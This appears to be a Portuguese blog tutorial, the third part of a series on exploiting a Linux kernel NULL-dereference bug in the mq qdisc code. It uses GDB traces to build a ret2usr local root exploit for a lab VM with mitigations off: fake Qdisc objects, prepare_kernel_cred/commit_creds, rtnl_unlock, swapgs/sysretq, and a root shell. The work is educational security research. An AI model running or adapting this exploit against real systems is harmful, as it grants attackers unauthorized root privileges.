Introdução à Exploração de Vulnerabilidades no Kernel do Linux – Parte 3: Exploração

Introdução

No primeiro post da série, montamos o ambiente necessário para debugging e explorar a vulnerabilidade e no segundo, acionamos a vulnerabilidade com o código em C. Agora, neste post, vamos entender melhor a vulnerabilidade e evoluir o código para realizar a escalação de privilégio com sucesso.

Nosso objetivo nessa terceira parte é explorar a vulnerabilidade usando uma técnica conhecida como ret2usr, que apesar de não ser mais interessante hoje em dia devido às mitigações modernas, permite ao leitor ter uma introdução à exploração de vulnerabilidades em kernel. Na próxima parte, vamos explorar a vulnerabilidade com algumas mitigações habilitadas, utilizando Return Oriented Programming (ROP) no kernel do Linux.

Além de explorar a vulnerabilidade com sucesso, obter acesso a uma shell de root, também queremos manter o sistema estável e funcionando corretamente, mesmo após a exploração. Diversos estados instáveis podem acontecer após a exploração de uma vulnerabilidade. E, como o kernel é peça central do sistema, é nosso papel investigar, entender o que aconteceu e lidar com a situação para resolver o problema.

Entendendo melhor a vulnerabilidade

A primeira etapa para conseguirmos fazer a exploração consiste em entender como a execução em kernel está realizando o acesso ao objeto que temos controle. Já fizemos uma rápida análise ao final do post anterior, pois ao acionar a vulnerabilidade tivemos como resultado o kernel tentando executar uma página de memória que não tinha permissão:

(gdb) lx-dmesg
...
[   51.688529] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[   51.688559] BUG: kernel NULL pointer dereference, address: 0000000000000028
[   51.688572] #PF: supervisor instruction fetch in kernel mode
[   51.688584] #PF: error_code(0x0011) - permissions violation
...
[   51.688805] Call Trace:
[   51.688812]  <TASK>
[   51.688818]  ? qdisc_destroy+0x3b/0xc0
[   51.688832]  ? mq_attach+0x55/0xa0

Podemos ver que houve uma tentativa de executar código no endereço 0x0000000000000028, o que não foi possível devido à ausência de permissão de execução. Nesse caso, a página que contém o endereço 0x28 não foi mapeada com permissão de execução.

NOTA: Lembre-se que a página que contém o endereço 0x28 é a que nós fizemos o mapeamento anteriormente. Quando mapeamos essa página, apenas configuramos com permissão de leitura e escrita, e não execução.

A tentativa de execução ocorreu a partir da função qdisc_destroy(), então podemos analisar o código dessa função para saber o que aconteceu:

static void qdisc_destroy(struct Qdisc *qdisc)
{
    const struct Qdisc_ops  *ops = qdisc->ops;
...
    if (ops->destroy)
        ops->destroy(qdisc);
...
}

ATENÇÃO: Removemos alguns trechos do código da função para focar nas partes que importam para o blog post. Mas como você montou o ambiente seguindo o primeiro post da série, você consegue ver o código em seu editor favorito. Outra possibilidade é olhar pelo Debian Sources.

A função qdisc_destroy() recebe como parâmetro um objeto do tipo ‘struct Qdisc'. Em seguida, obtém o valor de um ponteiro ‘ops', membro do ‘objeto qdisc'. O membro ‘ops' é um ponteiro para um objeto do tipo ‘struct Qdisc_ops'. ‘Qdisc_ops' é um objeto que contém, dentre outros membros, diversos ponteiros para função, que é justamente o caso do membro ->destroy().

$ pahole Qdisc vmlinux
struct Qdisc {
...
        const struct Qdisc_ops  *  ops;                  /*    24     8 */
...
        refcount_t                 refcnt;               /*   100     4 */
...
        /* size: 384, cachelines: 6, members: 30 */
        /* sum members: 264, holes: 3, sum holes: 120 */
        /* forced alignments: 2, forced holes: 2, sum forced holes: 80 */
} __attribute__((__aligned__(64)));

$

$ pahole Qdisc_ops vmlinux
struct Qdisc_ops {
...
        void                       (*destroy)(struct Qdisc *); /*    80     8 */
...
        /* size: 176, cachelines: 3, members: 22 */
        /* last cacheline: 48 bytes */
};

$

Depois de algumas outras operações na função qdisc_destroy(), ela verifica se o membro ->destroy() do objeto 'ops' é válido (diferente de NULL), e, caso seja, executa-o como uma função.

Se adicionarmos um breakpoint na função qdisc_destroy() podemos ver que há um momento em que a função é executada com o parâmetro 0x28, devendo realizar a destruição desse objeto. Então, o que vai ser feito é obter o endereço apontado pelo membro ‘ops' e, a partir desse endereço, acessar o membro ->destroy() para executá-lo.

O endereço 0x28, como já mencionado anteriormente, não pertence ao espaço de endereçamento do kernel, mas devido à vulnerabilidade (por um motivo que será explicado a seguir), ao acionar o problema e ter a página NULL mapeada com permissão de leitura e escrita, o kernel acabará acessando 0x28 como se fosse um objeto 'struct Qdisc' válido e tentará destruí-lo através da função qdisc_destroy().

Quando analisamos qual é o endereço da função apontada por ->destroy(), assumindo o endereço 0x28 como o objeto ‘Qdisc', vemos que o endereço da callback é exatamente 0x28. Por isso, ao acionar a vulnerabilidade, o kernel tenta executar esse endereço.

(gdb) b *qdisc_destroy
Breakpoint 1 at 0xffffffff81825810: file net/sched/sch_generic.c, line 1050.
(gdb) c
Continuing.
...
Thread 2 hit Breakpoint 1, qdisc_destroy (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1050
1050    {
=> 0xffffffff81825810 <qdisc_destroy+0>:        0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
(gdb) p qdisc->ops->destroy
$1 = (void (*)(struct Qdisc *)) 0x28 <fixed_percpu_data+40>
(gdb)

Esse valor aparece porque em mq_attach(), com 'priv->qdiscs' apontando para NULL dentro do for loop, a função qdisc_hash_add() será chamada com ‘qdisc' sendo NULL e tentará realizar operações de hashtable, escrevendo o endereço do membro &qdisc->hash (0x28) do objeto em uma tabela obtida a partir do próprio objeto.

static void mq_attach(struct Qdisc *sch)
{
    struct net_device *dev = qdisc_dev(sch);
    struct mq_sched *priv = qdisc_priv(sch);
    struct Qdisc *qdisc, *old;
    unsigned int ntx;

    for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
        qdisc = priv->qdiscs[ntx];
        old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
        if (old)
            qdisc_put(old);
...
        if (ntx < dev->real_num_tx_queues)
            qdisc_hash_add(qdisc, false);
...
}

Em qdisc_hash_add(), como o objeto 'q' é NULL, &q->hash é retornado como 0x28.

 void qdisc_hash_add(struct Qdisc *q, bool invisible)
 {
         if ((q->parent != TC_H_ROOT) && !(q->flags & TCQ_F_INGRESS)) {
                 ASSERT_RTNL();
                 hash_add_rcu(qdisc_dev(q)->qdisc_hash, &q->hash, q->handle);
                 if (invisible)
                         q->flags |= TCQ_F_INVISIBLE;
         }
}
Thread 2 hit Breakpoint 3, 0xffffffff81830445 in mq_attach (sch=0xffff88800b5c4000) at net/sched/sch_mq.c:120
120				qdisc_hash_add(qdisc, false);
=> 0xffffffff81830445 <mq_attach+101>:	e8 a6 18 00 00     	call   0xffffffff81831cf0 <qdisc_hash_add>

(gdb) i r $rdi
rdi            0x0                 0
(gdb) print/x &((struct Qdisc *)0x0)->hash
$90 = 0x28
(gdb) 

O valor 0x28 acaba sendo escrito em 0x50 durante o for loop e esse endereço corresponde ao membro ->destroy(), quando qdisc_put() é chamado com o objeto ‘qdisc' sendo 0x28. Também, como efeito colateral dessas operações, durante o for loop outros valores são escritos na memória após algumas interações.

Thread 1 hit Breakpoint 7, 0xffffffff81830430 in mq_attach (sch=0xffff888018380e00) at net/sched/sch_mq.c:117
117				qdisc_put(old);
   0xffffffff8183042d <mq_attach+77>:	48 89 c7           	mov    %rax,%rdi
=> 0xffffffff81830430 <mq_attach+80>:	e8 1b e8 ff ff     	call   0xffffffff8182ec50 <qdisc_put>

(gdb) i r $rdi
rdi            0x28                40
(gdb) x/12gx 0x0
0x0 <fixed_percpu_data>:	0x0000000000000000	0xffffffff82bec400
0x10 <fixed_percpu_data+16>:	0x0000000000000050	0x0000000000000000
0x20 <fixed_percpu_data+32>:	0x0000000000000000	0x0000000000000028
0x30:	0x0000000000000050	0x0000000000000000
0x40:	0x0000000000000000	0x0000000000000000
0x50:	0x0000000000000028	0x0000000000000408
(gdb) print/x &((struct Qdisc *)0x28)->ops->destroy
$92 = 0x50
(gdb) print/x ((struct Qdisc *)0x28)->ops->destroy
$93 = 0x28
(gdb) 

Então, ao corrigirmos o reference counter no post anterior, fizemos com que o kernel tentasse executar códigos no endereço 0x28. Execução de código arbitrária poderia ocorrer diretamente ao manipular o endereço da callback (0x50) com o endereço de uma função que realiza nossas operações em modo kernel. Porém, ao entendermos como a vulnerabilidade realmente ocorre, poderíamos abusá-la de uma forma mais robusta e adequada. Outro detalhe é que ao chegar nesse ponto de execução ocorre a corrupção de um objeto do kernel, e esse efeito colateral do acionamento da vulnerabilidade poderia causar um problema futuro.

Prova de conceito do acesso

Como falamos, no início da execução da função mq_attach() o objeto ‘priv->qdiscs' é NULL. É a partir de ‘priv->qdiscs' que é coletado o valor de ‘qdisc‘, que será utilizado em dev_graft_qdisc() para retornar um objeto do tipo ‘struct Qdisc' que será utilizado por qdisc_put().

static void mq_attach(struct Qdisc *sch)
{
    struct net_device *dev = qdisc_dev(sch);
    struct mq_sched *priv = qdisc_priv(sch);
    struct Qdisc *qdisc, *old;
    unsigned int ntx;

    for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
        qdisc = priv->qdiscs[ntx];
        old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
        if (old)
            qdisc_put(old);
...
        if (ntx < dev->real_num_tx_queues)
            qdisc_hash_add(qdisc, false);
...
}

Já sabemos que conseguimos controlar esses valores na memória. Então podemos criar um objeto ‘qdisc' para ser utilizado logo na primeira iteração do loop. A função dev_graft_qdisc() retorna o membro ->qdisc_sleeping do primeiro parâmetro que recebe:

struct Qdisc *dev_graft_qdisc(struct netdev_queue *dev_queue,
                  struct Qdisc *qdisc)
{
    struct Qdisc *oqdisc = dev_queue->qdisc_sleeping;
...
    return oqdisc;
}

A partir daí, vamos ajustar a 'struct Qdisc' que temos em nosso código a fim de representar corretamente os membros de nosso interesse. Também vamos criar novas estruturas para facilitar as configurações que queremos fazer.

struct netdev_queue {
    char pad1[16];
    void *qdisc_sleeping;
    char pad2[360];
};

struct Qdisc_ops {
    char pad1[80];
    void *destroy;
    char pad2[88];
};

struct Qdisc {
    char pad1[24];
    struct Qdisc_ops *ops;
    char pad2[32];
    void *dev_queue;
    char pad3[28];
    int refcnt;
    char pad4[280];
} __attribute__((__aligned__(64)));

Com a estrutura em nosso código refletindo melhor o objeto no kernel, o próximo passo é definirmos os objetos necessários para a exploração e execução da função apontada por ->destroy(). Para isso, de acordo com o código que vimos anteriormente, precisamos de um objeto ‘qdisc' e, que o membro ‘dev_queue' aponte para um objeto ‘netdev_queue‘ e este ‘netdev_queue' tenha o membro ‘qdisc_sleeping' apontando para outro objeto ‘qdisc'.

Por fim, o último objeto ‘qdisc' em questão será o objeto ‘old‘ na função mq_attach(). Sendo assim, é este objeto que deve ter o valor do reference counter e ‘ops‘ configurados corretamente para ocorrer a execução da callback ->destroy(). Vamos apontar a callback ->destroy() para o endereço 0x4141414141414141 como um teste para confirmar que a execução iria acontecer no endereço que escolhemos.

int main (void) {
...
    struct Qdisc myqdisc;
    struct Qdisc myqdisc2;
    struct Qdisc_ops ops;
    struct netdev_queue netdev_queue;
...
    memset(&myqdisc, 0, sizeof(myqdisc));
    memset(&myqdisc2, 0, sizeof(myqdisc2));
    memset(&ops, 0, sizeof(ops));
    memset(&netdev_queue, 0, sizeof(netdev_queue));
...
    *mynull = (unsigned long )&myqdisc;

    myqdisc.dev_queue = &netdev_queue;
    netdev_queue.qdisc_sleeping = &myqdisc2;

    myqdisc2.refcnt = 1;
    myqdisc2.ops = &ops;
    ops.destroy = (void *)0x4141414141414141;
...
}

Ao compilar e executar o programa obtemos como resposta que o processo foi finalizado pelo sistema. Podemos analisar mensagens do kernel via GDB:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Segmentation fault
user@debian12:~$

(gdb) lx-dmesg
...
[ 1704.784919] general protection fault, probably for non-canonical address 0x4141414141414141: 0000 [#1] PREEMPT SMP NOPTI
...
[ 1704.784975] RIP: 0010:qdisc_destroy+0x39/0xc0
...
[ 1704.785010] RSP: 0018:ffffc90000703838 EFLAGS: 00010206
[ 1704.785021] RAX: 4141414141414141 RBX: 00007ffec3d65d80 RCX: 0000000000000000
...
[ 1704.785114] Call Trace:
[ 1704.785140]  <TASK>
[ 1704.785146]  mq_attach+0x55/0xa0
[ 1704.785154]  qdisc_graft+0x3fb/0x750

O retorno das mensagens de log do kernel nos mostra que houve um general protection fault, nesse caso, porque tentou-se acessar um endereço não-canônico (0x4141414141414141), que foi o endereço que configuramos na callback ->destroy().

Também podemos ver que o registrador RIP está com o valor ‘qdisc_destroy+0x39' e o RAX com o valor que configuramos. Ao analisar o registrador RIP podemos ver que se trata de uma instrução que, justamente, faria a execução de código no endereço 0x4141414141414141.

(gdb) x/i qdisc_destroy+0x39
   0xffffffff81825849 <qdisc_destroy+57>:       call   *%rax

NOTA: Lembre-se: o registrador RIP contém o endereço para a próxima instrução que deve ser executada pela CPU.

Com esse resultado sabemos que de fato conseguimos influenciar na execução de código do kernel. O próximo passo é configurarmos um código que realize nosso objetivo de escalar privilégios, também mantendo o sistema estável.

Exploração

Entendemos a vulnerabilidade e confirmamos que podemos influenciar a execução do kernel de forma adequada. Agora iremos criar o código para alcançarmos nosso objetivo de escalação de privilégios no sistema.

Objetivo

Quando tratamos de exploração de vulnerabilidades no kernel, na maioria das vezes consideramos que já temos acesso ao sistema para execução de código, mas com usuário não privilegiado. Dessa forma, temos como objetivo escalar privilégios e então executar uma shell com permissão de root. Para tal, para sermos capazes de prosseguir é necessário entender como privilégios no Linux funcionam do ponto de vista do kernel.

Privilégios no kernel Linux

Na perspectiva do kernel, os privilégios dos processos no Linux são definidos por um objeto ‘struct cred‘. É nesse objeto que há a definição de contexto de execução e permissões do usuário. Assim, cada processo no sistema tem uma ‘struct cred‘ associada responsável por informar ao kernel o seu nível de privilégios.

struct cred {
    atomic_t    usage;
    ...
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
    ...
} __randomize_layout;

struct task_struct {
...
    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu     *cred;
...
}

Para escalar privilégios temos como objetivo tornar o UID do objeto ‘cred‘ relacionado ao processo no UID de um usuário privilegiado (no caso, zero, que é o UID de root) e definir as capabilities que também são armazenadas na mesma estrutura.

Há diversas maneiras de alcançar esse objetivo. Como em nosso cenário conseguimos a primitiva de execução de código, a forma mais prática de fazer é encadeando a execução de duas funções do kernel:

commit_creds(prepare_kernel_cred(NULL));

A função prepare_kernel_cred() cria um novo objeto do tipo ‘cred'. O novo objeto terá suas informações copiadas do processo passado via argumento. Quando o parâmetro recebido é NULL, como no cenário desejado, informa à função que não há um processo para herdar as informações e que o objeto ‘cred' deve ser criado a partir da cópia do objeto ‘init_cred', já que o objeto 'cred‘ é o padrão utilizado pelo kernel para iniciar seus processos. O objeto 'init_cred' contém UID de root e todas as capabilities definidas.

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
    const struct cred *old;
    struct cred *new;
    
    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;
...
    if (daemon)
        old = get_task_cred(daemon);
    else
        old = get_cred(&init_cred);
...
}

struct cred init_cred = {
...
    .uid            = GLOBAL_ROOT_UID,
    .gid            = GLOBAL_ROOT_GID,
    .suid           = GLOBAL_ROOT_UID,
    .sgid           = GLOBAL_ROOT_GID,
    .euid           = GLOBAL_ROOT_UID,
    .egid           = GLOBAL_ROOT_GID,
    .fsuid          = GLOBAL_ROOT_UID,
    .fsgid          = GLOBAL_ROOT_GID,
...
    .cap_permitted      = CAP_FULL_SET,
    .cap_effective      = CAP_FULL_SET,
    .cap_bset       = CAP_FULL_SET,
...
};

Já a função commit_creds() tem como papel trocar o objeto ‘cred' do processo atual pelo novo objeto ‘cred' recebido como parâmetro, por isso fazemos uma execução encadeada dessas duas funções. Essa função é usada para aplicar corretamente o objeto ao processo, levando em consideração os reference counters dos objetos e outras informações necessárias para garantir a estabilidade e o correto funcionamento do sistema.

int commit_creds(struct cred *new)
{
    struct task_struct *task = current;
...
    rcu_assign_pointer(task->cred, new);
...
}

Caso consigamos executar as duas funções da forma que pretendemos, teremos alcançado a escalação de privilégio, alterando o UID do processo do exploit para o UID de root e configurando todas as capabilities corretamente. Sendo assim, bastará conseguirmos executar uma shell que teremos execução de código com privilégios elevados de root.

Técnica ret2usr

Controlamos o endereço da função que será executada pela CPU em modo kernel. Também temos controle sobre parte da memória, já que o código é executado localmente na máquina. Podemos unir essas duas primitivas: criar uma função no código e redirecionar a execução do kernel para executar nossa função. Dessa forma, conseguimos executar o código arbitrário com privilégio de kernel, sem precisar injetar código ou realizar ROP. Essa é a técnica ret2usr, cuja função é desviar o fluxo de execução do kernel para executar uma função que está localizada no espaço de endereços do usuário. Por isso, o acrônimo ret2usr significa “return to (2) the user“.

ATENÇÃO: A técnica ret2usr não é mais viável para exploração de vulnerabilidades em ambientes reais devido às mitigações que impedem seu funcionamento, como é o caso do SMAP, SMEP e KPTI. Mas no cenário que temos até então (com as mitigações desabilitadas) podemos utilizá-la, o que nos permite primeiramente alcançar o objetivo de conseguir uma shell de root, para depois contornarmos as mitigações pertinentes. Faremos isso na próxima postagem da série.

Ao explorar uma vulnerabilidade de kernel, o objetivo é ter acesso a uma shell de root. Em nosso caso, para alcançar isso precisamos realizar algumas etapas:

  1. Escalar privilégios do processo
  2. Restaurar o registrador GS do usuário e retornar a execução para o modo usuário

Já sabemos que para realizar o primeiro item devemos executar as funções prepare_kernel_cred() e commit_creds(), então vamos analisar como podemos conseguir a execução delas.

Chamada das funções

O primeiro passo para execução das funções é descobrirmos o endereço delas no kernel. Como desativamos KASLR, a randomização dos endereços não está ativa, então podemos obter o endereço de forma estática. Isso funcionará para demais execuções mesmo que a máquina tenha sido reiniciada (desde que o kernel não mude).

Uma forma simples de obter esse valor é lendo o arquivo ‘/proc/kallsyms‘:

user@debian12:~$ sudo grep -w prepare_kernel_cred /proc/kallsyms
ffffffff810cd370 T prepare_kernel_cred
user@debian12:~$ sudo grep -w commit_creds /proc/kallsyms
ffffffff810cd0d0 T commit_creds
user@debian12:~$

Criamos uma função no código em C que execute essas funções, passando o retorno de execução da função prepare_kernel_cred() como argumento ao chamar commit_creds().

...
typedef unsigned long *(*prepare_kernel_cred_t)(unsigned long *);
typedef unsigned long (*commit_creds_t)(unsigned long *);

prepare_kernel_cred_t prepare_kernel_cred = (prepare_kernel_cred_t)(0xffffffff810cd370);
commit_creds_t commit_creds = (commit_creds_t)0xffffffff810cd0d0;

...

void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);
    
    asm("int3;");
}

int main (void) {
...
    ops.destroy = (void *)privesc;
...
}

ATENÇÃO: Adicionamos uma chamada à função asm() com a instrução ‘int3' apenas para forçar uma parada ao executar a função de modo que consigamos investigar no GDB, como faremos mais abaixo. Mas ao terminar essa etapa, removeremos essa instrução.

Quando compilamos e executamos o código como está, a máquina entra em um estado instável, o que causa seu travamento:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface

Com auxílio do GDB podemos verificar se conseguimos alterar o UID do processo. No GDB executamos o comando ‘lx-ps‘ (que, semelhante ao ‘lx-dmesg‘, também é disponibilizado pelos scripts do GDB presente no código-fonte do kernel Linux). Esse comando vai listar todos os processos em execução e podemos ver o PID do processo “exploit“. A partir disso podemos ver o valor do UID do processo:

(gdb) lx-ps
      TASK          PID    COMM
...
0xffff888033cc6600  611  exploit
...
(gdb) p $lx_task_by_pid(611)->cred->uid->val
$1 = 0
(gdb) monitor system_reset
(gdb) c
Continuing.

Podemos confirmar que executamos as funções que queríamos com sucesso e com isso conseguimos mudar os privilégios de execução do exploit, mas ainda precisamos deixar a máquina estável e usável.

Restaurar GS do usuário e retornar a execução para o modo usuário

Quando estamos interagindo com o sistema via shell, a CPU executa em modo usuário. Ao realizar uma chamada de sistema (ou ao acionar uma vulnerabilidade, como foi nosso caso) passamos a execução para modo kernel. Sabendo que toda chamada de sistema normalmente vai ter o fluxo usuário -> kernel -> usuário, e que durante a execução em modo kernel já fizemos a alteração da ‘struct cred' do processo, conseguindo UID de root e todas as capabilities necessárias no processo atual, o que queremos agora é retornar para o código do usuário e continuar a execução estável do sistema.

NOTA: Não é parte de todo exploit de kernel precisar retornar para modo usuário manualmente. Isso é necessário nesse exploit porque na função que executa a callback ->destroy(), a função call_rcu() é executada com o objeto ‘qdisc' como argumento (veja no trecho de código abaixo).

Durante a exploração, o objeto reside no espaço de endereçamento do usuário. Já a função call_rcu(), agenda a execução da função qdisc_free_cb(), que quando executada, vai executar em um outro contexto, com uma outra page table. Dessa forma, o endereço onde nosso objeto ‘qdisc' reside é mapeado apenas na page table do exploit. Uma referência a esse objeto fora desse contexto irá causar um problema na máquina, resultando em travamentos e instabilidades. Devido a esse motivo, o exploit retorna para o modo usuário manualmente e não para qdisc_destroy().

static void qdisc_destroy(struct Qdisc *qdisc)
{
    const struct Qdisc_ops  *ops = qdisc->ops;
...
    if (ops->destroy)
        ops->destroy(qdisc);
...
    call_rcu(&qdisc->rcu, qdisc_free_cb);
}

Uma chamada de sistema é executada ao utilizarmos a instrução syscall. Essa é uma das formas de invocar o syscall handler, transferir a execução do modo usuário para o kernel. Quando o modo de execução é modificado (de user mode para kernel mode ou o contrário), o kernel precisa modificar o registrador de segmento GS.

Esse registrador é utilizado pelo kernel para acessar algumas informações como variáveis per-cpu, incluindo a task (processo) atual em execução, mas o usuário também pode fazer uso desse registrador em seu processo, de forma explícita ou implícita. Então, para evitar o kernel de acessar endereços controlados pelo usuário e causar vulnerabilidades, um dos primeiros passos realizados pelo syscall handler é restaurar o GS para o endereço base utilizado pelo kernel. Essa é uma das mudanças realizadas pela arquitetura x86-64/AMD64.

Fazer a troca do endereço base no registrador GS é tarefa da instrução swapgs. Então, precisamos adicioná-la à função privesc() no código que será executado pelo kernel. Assim, quando o kernel executar swapgs ocorrerá a troca do endereço base do registrador GS, para evitar que retorne para modo usuário com o GS ainda com o endereço base utilizado pelo kernel.

void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);

    asm("swapgs;");
}

Além de modificar o valor do registrador GS, precisamos de fato fazer o retorno de modo kernel para modo usuário, de modo a retornar para uma outra função no exploit, porém agora em modo usuário.

Há diversas formas de redirecionar a execução para ir de user mode para kernel mode, como por exemplo via chamadas de sistema (pela instrução syscall). De forma análoga, é preciso haver maneiras de transferir a execução de modo kernel para modo usuário. Quando o kernel termina de executar uma chamada de sistema, para retornar para o modo usuário, a instrução sysret é executada.

Sabendo disso, devemos montar nosso código para executar corretamente essa instrução de modo que possamos redirecionar a execução para modo usuário. A instrução sysret restaura o valor de alguns registradores (RFLAGS e RIP), a partir dos valores de outros registradores (R11 e RCX, respectivamente). Além disso, nós mesmos devemos restaurar a stack para a função que será executada em modo usuário.

Uma maneira bem prática de realizarmos essa etapa é salvar os valores dos registradores durante a execução do exploit. Assim, saberemos quais valores devem ser colocados nesses registradores ao voltar a execução do kernel para o programa. Como toda a execução acontece no contexto do processo do exploit, as variáveis continuam com seus valores em memória. Isso pode ser feito criando algumas variáveis e armazenando o valor dos registradores nelas:

...
unsigned long user_rsp, user_rflags;
...
void save_registers (void) {
    asm(
        "mov %%rsp, %0;"
        "pushf;"
        "pop %1;"
        : "=r" (user_rsp),
          "=r" (user_rflags)
    );
}
...
int main (void) {
...
    ops.destroy = (void *)privesc;

    save_registers();
...
}

Então podemos alterar as instruções assembly inline na função privesc() para colocar os valores dessas variáveis nos registradores devidos e então executar a instrução sysret:

void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);

    asm(
        "swapgs;"

        "mov %0, %%rsp;"
        "mov %1, %%rcx;"
        "mov %2, %%r11;"
        "sysretq;"
        :: "r" (user_rsp),
           "r" (&got_root),
           "r" (user_rflags)
    );
}

Além de colocar os valores dos registradores salvos anteriormente nos registradores devidos (RSP e R11 para ser colocado em RFLAGS) também devemos pôr um valor no registrador RCX para que a instrução sysret direcione para RIP. Nesse valor, colocamos o endereço da função got_root(). Essa é uma função que criamos no nosso programa que é responsável por executar uma shell, caso o nível de privilégio seja de root. Ela é executada somente quando tudo ocorre como esperado.

void got_root (void) {
    char *argv[] = {"/bin/sh", NULL};
    
    if (getuid() == 0) {
        printf("[*] Got root!\n");
        execve(argv[0], argv, NULL);
        exit(EXIT_SUCCESS);
    } else {
        printf("[*] We didn't get root, UID: %d\n", getuid());
        exit(EXIT_FAILURE);
    }
}

Realizados esses passos, ao compilar e executar o programa conseguimos escalação de privilégios com acesso a uma shell com usuário root:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$ sudo dmesg
^C^C^C^C^C^C

Porém, há algum problema nessa execução. Perceba que a máquina fica em um estado instável. Algumas operações não são mais possíveis, como analisar as mensagens via dmesg ou conectar à máquina via uma nova sessão SSH. Precisamos corrigir isso.

Correção de estado instável

Por mais que tenhamos alcançado execução de código com altos privilégios no sistema (temos acesso a uma shell com usuário root), o sistema está em um estado instável, o que é indesejável em uma exploração. Precisamos corrigir esse problema.

Após um tempo com a máquina nesse estado podemos ver a seguinte mensagem via GDB:

(gdb) lx-dmesg
...
[  484.326833] INFO: task kworker/u4:4:160 blocked for more than 241 seconds.
[  484.326924]       Tainted: G S          E      6.1.0-3-amd64 #1 Debian 6.1.8-1
[  484.326960] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  484.327033] task:kworker/u4:4    state:D stack:0     pid:160   ppid:2      flags:0x00004000
[  484.327055] Workqueue: netns cleanup_net
[  484.327151] Call Trace:
[  484.327157]  <TASK>
[  484.327180]  __schedule+0x351/0xa20
[  484.327253]  schedule+0x5d/0xe0
[  484.327261]  schedule_preempt_disabled+0x14/0x30
[  484.327268]  __mutex_lock.constprop.0+0x3b4/0x700
[  484.327292]  default_device_exit_batch+0x34/0x270
[  484.327339]  ? synchronize_rcu+0x71/0xb0
[  484.327389]  ? __call_rcu_nocb_wake+0x2b0/0x2b0
[  484.327401]  cleanup_net+0x21d/0x3b0
[  484.327427]  process_one_work+0x1c4/0x380
[  484.327500]  worker_thread+0x4d/0x380
[  484.327514]  ? rescuer_thread+0x3a0/0x3a0
[  484.327533]  kthread+0xe6/0x110
[  484.327567]  ? kthread_complete_and_exit+0x20/0x20
[  484.327579]  ret_from_fork+0x1f/0x30
[  484.327636]  </TASK>

A mensagem informa que há uma task bloqueada por algum tempo. A task bloqueada é uma kworker. Durante sua execução, o kernel cria algumas tarefas para serem executadas assincronamente. Essas tarefas são chamadas de work, enquanto a fila de tarefa é chamada de workqueue.

De acordo a mensagem acima, há tarefas bloqueadas que não conseguem ser executadas já há algum tempo significativo. Isso está acontecendo em uma workqueue relacionada a networking.

A execução dessa work chegou até a função default_device_exit_bacth() e depois não conseguiu prosseguir, pois tenta adquirir um lock, mas não consegue. Então, aguarda até ser possível. Quando analisamos o código dessa função, podemos ver o lock que é utilizado:

static void __net_exit default_device_exit_batch(struct list_head *net_list)
{
...
    rtnl_lock();
...
    rtnl_unlock();
    return 0;
}

Se essa função não consegue obter o lock, significa que alguma função utilizada pelo kernel durante o acionamento da vulnerabilidade adquire esse lock, mas como não pudemos retornar a execução para a função qdisc_destroy() e mq_attach(), o lock acaba não sendo liberado, criando um deadlock. Podemos modificar nossa função privesc() para também chamar a função rtnl_unlock(), liberando o lock para manter o correto funcionamento do sistema.

...
typedef unsigned long (*rtnl_unlock_t)(void);
rtnl_unlock_t rtnl_unlock = (rtnl_unlock_t)0xffffffff817c6ac0;
...
void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);

    rtnl_unlock();

    asm(
        "swapgs;"

        "mov %0, %%rsp;"
        "mov %1, %%rcx;"
        "mov %2, %%r11;"
        "sysretq;"
        :: "r" (user_rsp),
           "r" (&got_root),
           "r" (user_rflags)
    );
}

Com essa correção aplicada podemos compilar e executar o código para termos novamente uma shell de root, dessa vez com o sistema estável. Teste e comprove que mesmo com a execução do exploit ainda conseguimos acessar a máquina via SSH, executar ‘dmesg' e qualquer outra operação normalmente:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$ sudo dmesg | tail -n2
[sudo] password for user:
